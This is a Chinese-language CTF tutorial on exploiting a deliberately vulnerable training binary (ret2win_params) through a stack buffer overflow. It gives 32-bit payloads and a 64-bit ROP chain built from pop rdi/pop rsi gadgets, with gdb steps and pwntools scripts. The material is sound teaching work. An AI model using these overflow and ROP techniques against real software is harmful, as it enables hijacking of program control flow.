PWN入门(5)32位程序与64位程序和构造ROP链
简介
“pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用
32位程序
下载这个github库,进入04文件夹
https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101
获取文件信息
进入32位程序文件夹
使用checksec工具可以查看程序更详细的信息
可以看到,这个程序没有开启任何防护
从上到下依次是
32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode
然后运行程序,输入一大堆字符串测试一下
程序报错退出了,报错的信息是分段错误,可能造成了缓冲区溢出
分析程序源代码
打开程序源代码
#include <stdio.h>void hacked(int first, int second) //自定义的hacked函数,我们需要让程序执行这个函数才算破解程序
{if (first == 0xdeadbeef && second == 0xc0debabe){ //需要同时满足first = 0xdeadbeef和second = 0xc0debabeprintf("This function is TOP SECRET! How did you get in here?! :O\n"); //破解程序}else{printf("Unauthorised access to secret function detected, authorities have been alerted!!\n"); //破解失败}return;
}void register_name() //自定义register_name函数,是程序主要执行的地方
{char buffer[16]; //定义了一个变量,名为buffer,有16个字节的缓冲区printf("Name:\n"); //输出字符"Name:scanf("%s", buffer); //获取我们输入的字符,并存入到buffer变量里printf("Hi there, %s\n", buffer); //输出字符Hi there和我们输入的变量
}int main()
{register_name(); //调用上面的register_name自定义函数return 0;
}
这道题和上一道题差不多,只不过需要满足一些其他的条件才行
静态调试
将题目用ghidra打开,在函数列表找到main函数
双击去到对应函数的地址
这里和程序源代码里的代码差不多
我们在函数列表点击hacked函数,可以看到这里对比的数有些不一样
我们单击一个数后,汇编界面会显示对应的汇编代码
可以看到,这里对比的数值就和源代码里的一样了,要想知道原因的话可以去看我之前写的使用arm进行汇编语言编程的文章,在那里我很详细的介绍了原理
动态调试
我们用gdb对程序进行动态调试
gdb ret2win_params
然后查看程序里调用的函数
info functions
输入命令cyclic就能获得测试用的字符串
cyclic 200
生成200个字符串,每四个字符的最后一个字符都不一样,用于测试覆盖程序的返回地址需要多少个字符
复制输出的字符,然后运行程序
可以看到,程序已经报错了,而且里面原本的参数全被我们输入的值给覆盖了,这里需要注意的是ret指令,ret是子程序的返回指令,原本他要返回main函数,结果被我们覆盖了,返回到了其他不存在的地址,于是程序就报错了
EIP这个寄存器,他是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数,控制了这个指针,就能控制整个程序的运行
可以看到,eip寄存器里的值是haaa的十六进制,我们查一下haaa在刚刚生成的字符的第几个
cyclic -l haaa
说明我们要覆盖eip原本的返回地址并控制,就需要28个字符+想让程序跳转执行的地址
然后我们再次查看程序调用的函数地址
info functions
hacked的函数地址是0x08049182,我们可以写一个小脚本来让程序跳转到这个地址
在x86架构里,读取地址是由低到高的,十六进制0x08049182就要从最后一个开始写,然后将输出的值存放到一个文件里
python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'BBBB'+'CCCC'+'DDDD'" > exp
回到gdb,在regustr_name函数最后的ret返回指令处下一个断点
b *0x0804922a
这样可以让我们更方便的调试程序,然后运行程序,导入这个文件里的值
run < exp
可以看到,我们成功覆盖了原本的返回地址
按n进入下一步,一直到对比的地方
我们查看一下这个寄存器里的值
0x42转换成ascii码是大写的B,对比失败后程序会跳转,破解失败
我们修改一下之前的exp
python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'CCCC'+'DDDD'" > exp
然后再次执行程序
run < exp
查看一下这个寄存器里的值
x $ebp + 8
可以看到,现在就和对比的值一样了,继续下一步,进行第二个对比
查看一下这个寄存器里的值
x $ebp + 0xc
0x43转换成ascii码是大写的C,我们再改一下脚本
python2 -c "print 'A'*28+'\x82\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'\xbe\xba\xde\xc0'+'DDDD'" > exp
然后再次执行
成功破解程序,直接运行程序然后导入文件也可以破解
pwntools脚本
from pwn import * //导入pwntools模块io = process('./ret2win_params') //运行程序
io.sendline(b'A' * 28 + p32(0x08049182) + 'AAAA' +p32(0xdeadbeef) + p32(0xc0debabe)) //程序运行后发送指定的字符串,格式为32位
print(io.recvall()) //接收输出
成功破解
64位程序
获取文件信息
去到64位程序文件夹下
使用checksec工具可以查看程序更详细的信息
可以看到这是一个64位的程序,其他的什么都没有变
我们看看源代码
只是对比的字符变长了,其他也什么都没有变,静态调试也和之前的一模一样
动态调试
用gdb打开文件
然后我们反汇编hacked函数看看
可以看到,很多地方都不一样了,我们打开32位程序对比看看
测试一下缓冲区范围
cyclic 100
run
可以看到,我们的e开头的寄存器都变成r开头的了,这也是64位程序的一个特征,32位只有4个字节,而64位有8个字节
我们复制返回的地址去解码
unhex 6161616861616167
注意,由于在x86架构里,读取地址是由低到高的,所以这里的字符串是gaaahaaa
我们只需要复制前四位即可
说明我们要覆盖rip原本的返回地址并控制,就需要24个字符+想让程序跳转执行的地址
现在我们写一个小脚本,首先hacked函数的地址在
0x0000000000401142
然后程序缓冲区的区间是24个字符
关于64位寄存器的知识点
如果不想看得云里雾里,我推荐去看看我写的使用arm进行汇编语言编程系列
64位程序将要对比的值存入rdi和rsi寄存器里,在这图中也可以看到相对应的操作
在64位寄存器中,有两个寄存器需要知道,rdi寄存器和rsi寄存器,rdi寄存器用于第一个参数传递,而rsi是第二个参数传递,我们要把对比的值放入这两个寄存器里,就需要参数传递,64位比32位要麻烦许多
构造ROP链
我们要找到这些特殊的寄存器就需要ropper这个工具,这个工具的用处就是寻找指定操作指令的地址
apt install ropper //安装ropper
ropper --file ret2win_params --search "pop rdi" //从内存中弹出值到rdi寄存器中
这个地址是执行pop rdi操作的
0x000000000040124b
然后继续补全我们的脚本0xdeadbeefdeadbeef
python2 -c 'print "A" * 24 + "\x4b\x12\x40\x00\x00\x00\x00\x00" + "\xef\xbe\xad\xde\xef\xbe\xad\xde"'
//从内存中弹出并存放到rdi寄存器里的值就是我们需要对比的字符deadbeefdeadbeef
程序对比时还有一个参数,所以我们还需要找到pop rsi指令的地址
ropper --file ret2win_params --search "pop rsi" //从内存中弹出值到rsi寄存器中
但是由于这里还执行了其他的命令,pop r15,我们可以传入一些垃圾字符进去
0x0000000000401249
然后我们继续补全脚本,整个脚本的逻辑是这样的
垃圾字符 + pop_rdi的地址 + 我们第一个对比的值 + pop_rsi的地址 + 我们第二个对比的值 + 8个字符的垃圾数据 + hacked函数的地址
python2 -c 'print "A" * 24 + "\x4b\x12\x40\x00\x00\x00\x00\x00" + "\xef\xbe\xad\xde\xef\xbe\xad\xde" + "\x49\x12\x40\x00\x00\x00\x00\x00" + "\xbe\xba\xde\xc0\xbe\xba\xde\xc0" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x42\x11\x40\x00\x00\x00\x00\x00"' > exp
现在脚本就完成了,这里hacked函数地址要在最后的原因是,如果我们放到第一个,程序跳转之后就不会执行我们后续的操作了,所以我们要将需要执行的操作都执行后,再跳转
我们脚本调用pop rdi之类的指令,从内存弹出的值都是我们写的值,因为程序原本的值都被我们覆盖了,他是按照顺序弹的
我们要在程序主函数的最后的地址下一个断点,方便调试,然后我们执行程序,并导入文件里的数据
disassemble register_name
b *0x00000000004011d6
run < exp
可以看到,程序在执行了我们指定的操作后,才跳转到hacked函数的地址
rdi里存放的值就是之后要对比的值
继续执行
成功破解程序,我们直接执行程序,然后导入文件看看
也是能成功破解的
pwntools脚本
from pwn import *io = process('./ret2win_params')
io.sendline(b"A" * 24 + b"\x4b\x12\x40\x00\x00\x00\x00\x00" + b"\xef\xbe\xad\xde\xef\xbe\xad\xde" + b"\x49\x12\x40\x00\x00\x00\x00\x00" + b"\xbe\xba\xde\xc0\xbe\xba\xde\xc0" + b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x42\x11\x40\x00\x00\x00\x00\x00")print(io.recvall())
成功破解程序
总结
有什么不会或者是错误的地方的可以私信我,看到必回
PWN入门(5)32位程序与64位程序和构造ROP链相关推荐
- [思考]-32位的应用程序和64位的应用程序有什么区别
文章目录 1.32位的应用程序和64位的应用程序有什么区别 2.在aarch64的linux os中,是否同时支持运行32位app和64位app ★★★ 链接 : 个人博客导读首页-点击此处 ★★★ ...
- 使用.netFx4.0提供的方法解决32位程序访问64位系统的64位注册表
原文:使用.netFx4.0提供的方法解决32位程序访问64位系统的64位注册表 我们知道目标平台是32位的程序运行在64位的系统上,去访问部分注册表的时候系统自动重定向到win32node节点对应的 ...
- linux32位运行64位程序,32位windows下可以运行的程序在64位linux下报错
已结贴√ 问题点数:20 回复次数:3 32位windows下可以运行的程序在64位linux下报错 filt.c在32位windows code:blocks 10.05下运行无任何异样. 传到64 ...
- 32位dll转64位工具_如何在64位系统中运行32位或16位程序
由于CPU和系统架构的更新,现行主流的Windows系统已经是64位.然而许多人还恋恋不舍的一些老游戏或老程序已经没有了更新.在64位的系统上运行这些程序,往往会出现运行故障.如何才能解决这个烦心事? ...
- 32位程序和64位程序
我们有时候会遇到这样一种情况:我们在32位操作系统上下载了64位版本的程序,却发现无法安装,大家可能会很困惑. 下面就来简单解释一下32位程序与64位程序的具体区别. 我们首先要弄明白的: 1.这里所 ...
- 32位程序在64位系统上运行
32位程序在64位系统上运行 32位系统下的MFC文件,怎么在64位的系统上面运行? 先将32位的应用程序转换为64位的应用程序. 从32位应用程序到64位应用程序 编译:starlight 这篇文章 ...
- 32位程序和64位程序这些区别你知道吗?
我们在编写C/C++程序时,32位程序和64位程序的代码有何区别?如何编写既可以编译成32位程序又可以编译成64位程序的代码? 代码上的区别 实际上,对于32位程序和64位程序来说,代码上的区别不大, ...
- c语言的程序是32位还是64位,在C语言中,对于32位计算机和64位计算机,long的大小是多少?...
本问题已经有最佳答案,请猛点这里访问. 对于32位平台,C中的long的大小为4字节,而对于64位平台,为8字节是否正确? 通常,但不一定. 如果要使用固定大小的类型,请使用int32_t或int64 ...
- 32位应用程序操作64位Windows注册表的方法
64位的Windows操作系统中能够运行32位的应用程序,主要是由于Windows中提供了WOW64子系统. 1.WOW64子系统 WOW64 (Windows-on-Windows 64-bit)是 ...
最新文章
- 关于学习Python的一点学习总结(19->if及相关的符号运算)
- R语言ggplot2可视化使用ggplot2包patchwork包在可视化结果(右上角)中插入logo图片
- 浅谈CSRF攻击方式
- 【20171111】Codevs 1064 虫食算80分
- 【springboot】spring-boot-devtools 热部署 导致 mvn spring-boot:run 出现异常
- wps的计算机在哪里设置密码,wps文件怎么设置和取消密码 wps文件密码设置和取消的步骤方法...
- 第5 章持久化类(Persistent Classes)
- linux 目录硬链接,linux为什么不能给目录做硬链接
- rn代码与android,RN与原生通讯(安卓篇)
- MATLAB一句总结
- mysql 主从 单表_MySQL主从复制单表或者多表
- 机器学习与深度学习资料整理
- 中标麒麟桌面系统自定义屏保
- eve-ng学习笔记
- fusioncharts的属性介绍
- 一文带你透析zookeeper原理
- Python:实现一个Pangram字符串至少包含一次所有字母算法(附完整源码)
- 用html、javascript写一个网页,网页内容包括一个下拉列表,内容为语文、数学、英语,一个单选按钮,内容为苹果、桃子、西瓜,默认选中数学、西瓜
- 学习wxWidgets第1篇(续):Codeblocks配置wxWidgets
- Qbasic 输出 星号三角形
热门文章
- AWS-IAM学习笔记
- 数据库求候选码的算法
- caffe/ windows 10 /Can't parse message of type caffe.NetParameter because it is missing required
- mysql主从复制mmm_MMM+MYSQL主从同步
- 河南科技大学计算机专业就业情况,河南科技大学好就业吗?附河南科技大学就业率最高的专业名单...
- 音乐计算机ut乐谱大全,Flash钢琴乐谱大全.doc
- 【操作系统】3.进程管理
- CCC3.0学习笔记_认证和隐私保护
- 乐普生物再递表背后:连年巨亏,暂未放弃A股,最多撑到年底?
- Spring报错:Exception encountered during context initialization - cancelling refresh attempt: org.sprin